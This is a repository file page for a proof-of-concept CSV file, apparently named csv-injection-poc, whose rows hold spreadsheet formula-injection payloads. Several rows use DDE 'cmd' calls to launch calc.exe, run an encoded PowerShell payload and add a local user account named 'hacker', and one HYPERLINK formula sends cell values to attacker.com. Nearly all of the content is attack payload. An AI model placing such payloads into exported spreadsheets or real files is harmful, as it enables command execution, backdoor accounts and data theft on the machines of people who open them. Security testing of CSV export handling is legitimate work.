csv-injection-poc / poc_csv.csv
security-finder's picture
Add PoC file: poc_csv.csv
0dfd9c4 verified
Raw
History Blame Contribute Delete
249 Bytes
id,name,score
1,normal_entry,95
2,=cmd|"/C calc.exe"!A0,100
3,=HYPERLINK("http://attacker.com/steal?"&A1&"&"&B1&"&"&C1),85
4,+cmd|"/C powershell -e BASE64PAYLOAD"!A0,90
5,-cmd|"/C net user hacker P@ss /add"!A0,75
6,@SUM(1+1)*cmd|"/C calc.exe"!A0,88